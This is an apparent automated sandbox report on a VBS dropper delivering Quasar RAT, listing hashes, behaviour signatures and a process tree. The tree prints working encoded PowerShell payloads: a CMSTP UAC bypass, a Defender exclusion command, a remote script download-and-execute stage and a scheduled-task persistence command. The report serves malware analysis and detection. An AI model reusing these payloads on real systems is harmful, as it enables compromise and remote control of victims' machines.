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Analysis

  • max time kernel
    94s
  • max time network
    132s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250129-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/01/2025, 03:29

General

  • Target

    027ff65365c4f69731be566e541127a63d993d26f68738a462ec63b667226990.vbs

  • Size

    275KB

  • MD5

    3036e9c4718042d10f79bfff33890123

  • SHA1

    506e3824f97a346ebfac946aaf19b13defa80cac

  • SHA256

    027ff65365c4f69731be566e541127a63d993d26f68738a462ec63b667226990

  • SHA512

    6cc407e53f5057a3469dc4cd62586cfa740339adcde218ef54446e9af75165aa08bbc088ec9f02015334c4f9abd4e3d69db4eb2ced0c66e8f8e3e1b1f4e70ebc

  • SSDEEP

    3072:S9bhZuU+jd2EOHov4nc8b5tBuyAUvmSWBQ0MY5abVt+/710ROsvTkRoaDSyav3DW:CbhAZd2EOdTN7vrV0M2abV4jaTbwDEC

Malware Config

Extracted

Family

quasar

Attributes
  • reconnect_delay

    3000

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\027ff65365c4f69731be566e541127a63d993d26f68738a462ec63b667226990.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3124
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:436
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\c.bat"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3296
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -noprofile -windowStyle Hidden -ep bypass -command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2760
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yo4fh4jk\yo4fh4jk.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3848
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES90F5.tmp" "c:\Users\Admin\AppData\Local\Temp\yo4fh4jk\CSCBE11CDA968A74F3FAED0B4269BA7DED9.TMP"
              6⤵
                PID:4564
            • C:\windows\system32\cmstp.exe
              "C:\windows\system32\cmstp.exe" /au C:\windows\temp\201iw2pa.inf
              5⤵
                PID:4524
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ2FXVjRJQ2hKYm5admEyVXRWMlZpVW1WeGRXVnpkQ0F0VlhKcElDSm9kSFJ3Y3pvdkx6QjRNQzV6ZEM4NExUVlRMbkJ6TVNJcCcpKSk7ZW1wdHlzZXJ2aWNlcyAtZXR3O1N0YXJ0LVNsZWVwIC1TZWNvbmRzIDU7ZnVuY3Rpb24gcnlidnBkaWdlYXN3ZXlwKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnbVowNURDVktVWDZxQ1RyQkRqbHIyZVBNMk9SZERkTnVSMFJQeVVrNFdPRT0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1llRm40L05LcVJjZFluZVN3azZFWHc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gcWRuaW52d29meG1jbXRiKCRwYXJhbV92YXIpewlJRVggJyR3eXVqa2t5dmJwcG14Y2Zsem1kamJqaHFwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJHZrd3hjYXdtZGV0YnVuZnNpbXR5aXpsYW09TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRucWlrem1yZXRwYWN4eW9zenR5bGplenlyPU5ldy1PYmplY3QgU3lzdGVtLklPLkNBQkNvbUFCQ3ByQUJDZUFCQ3NzQUJDaW9BQkNuLkFCQ0daQUJDaXBBQkNTdEFCQ3JlQUJDYW1BQkMoJHd5dWpra3l2YnBwbXhjZmx6bWRqYmpocXAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJG5xaWt6bXJldHBhY3h5b3N6dHlsamV6eXIuQ29weVRvKCR2a3d4Y2F3bWRldGJ1bmZzaW10eWl6bGFtKTsJJG5xaWt6bXJldHBhY3h5b3N6dHlsamV6eXIuRGlzcG9zZSgpOwkkd3l1amtreXZicHBteGNmbHptZGpiamhxcC5EaXNwb3NlKCk7CSR2a3d4Y2F3bWRldGJ1bmZzaW10eWl6bGFtLkRpc3Bvc2UoKTsJJHZrd3hjYXdtZGV0YnVuZnNpbXR5aXpsYW0uVG9BcnJheSgpO31mdW5jdGlvbiB0b3p1Y2lhcXFzeXRjZHhoZGt0emZ4cGVsKCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewkJSUVYICckdHhucmd2eXZscGpuY2VyY3hheGVwbG5lZmlnbnBjaXJrdGdwZG1tdT1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGJnbWpmZXhvZ2lsZGJ0YmlraW14b2xnaWdzZGl5Y3psb2NkanpkemJsc2dncWVwcnN4PSR0eG5yZ3Z5dmxwam5jZXJjeGF4ZXBsbmVmaWducGNpcmt0Z3BkbW11LkFCQ0VBQkNuQUJDdEFCQ3JBQkN5QUJDUEFCQ29BQkNpQUJDbkFCQ3RBQkM7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGJnbWpmZXhvZ2lsZGJ0YmlraW14b2xnaWdzZGl5Y3psb2NkanpkemJsc2dncWVwcnN4LkFCQ0lBQkNuQUJDdkFCQ29BQkNrQUJDZUFCQygkbnVsbCwgJHBhcmFtMl92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpO30kZmhvc3B3b2FubHlodm1xY3h5cGNrdnB5ZyA9ICRlbnY6VVNFUk5BTUU7JG55b21iaWxvc2lsYmllc3RvenZiaWp1dGkgPSAnQzpcVXNlcnNcJyArICRmaG9zcHdvYW5seWh2bXFjeHlwY2t2cHlnICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkbnlvbWJpbG9zaWxiaWVzdG96dmJpanV0aTska2lvcnY9W1N5c3RlbS5JTy5GaWxlXTo6KCd0eGVUbGxBZGFlUidbLTEuLi0xMV0gLWpvaW4gJycpKCRueW9tYmlsb3NpbGJpZXN0b3p2YmlqdXRpKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkYXd4IGluICRraW9ydikgewlpZiAoJGF3eC5TdGFydHNXaXRoKCc6OicpKQl7CQkkZGR2ZHI9JGF3eC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kbWx0dHd2a2JreWltcGhqdHl3amZ2ZnB1cz1bc3RyaW5nW11dJGRkdmRyLlNwbGl0KCdcJyk7SUVYICckeWZxeGltdG54ZWRja3JxemJycWFxcGZhZz1xZG5pbnZ3b2Z4bWNtdGIgKHJ5YnZwZGlnZWFzd2V5cCAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRtbHR0d3ZrYmt5aW1waGp0eXdqZnZmcHVzWzBdKSkpOycuUmVwbGFjZSgnQUJDJywgJycpO0lFWCAnJHFvYWx1Z3Z5YXlxdGVibG95cmRmcW5mdGc9cWRuaW52d29meG1jbXRiIChyeWJ2cGRpZ2Vhc3dleXAgKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkbWx0dHd2a2JreWltcGhqdHl3amZ2ZnB1c1sxXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt0b3p1Y2lhcXFzeXRjZHhoZGt0emZ4cGVsICR5ZnF4aW10bnhlZGNrcnF6YnJxYXFwZmFnICRudWxsO3RvenVjaWFxcXN5dGNkeGhka3R6ZnhwZWwgJHFvYWx1Z3Z5YXlxdGVibG95cmRmcW5mdGcgKCxbc3RyaW5nW11dICgnJUFCQycpKTs=')) | Invoke-Expression"
              4⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Adds Run key to start application
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:972
              • C:\Windows\SysWOW64\schtasks.exe
                "schtasks" /create /tn "SVCHOST" /sc ONLOGON /tr "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" /rl HIGHEST /f
                5⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:2128
              • C:\Users\Admin\AppData\Roaming\svchost\Chromesa.exe
                "C:\Users\Admin\AppData\Roaming\svchost\Chromesa.exe"
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:1760
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
        1⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4944
      • C:\Windows\system32\taskkill.exe
        taskkill /IM cmstp.exe /F
        1⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2508

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        332B

        MD5

        c1e31ebd017a03bb92082fe118d024c1

        SHA1

        13403a410996090f106597552f373f6314b352dc

        SHA256

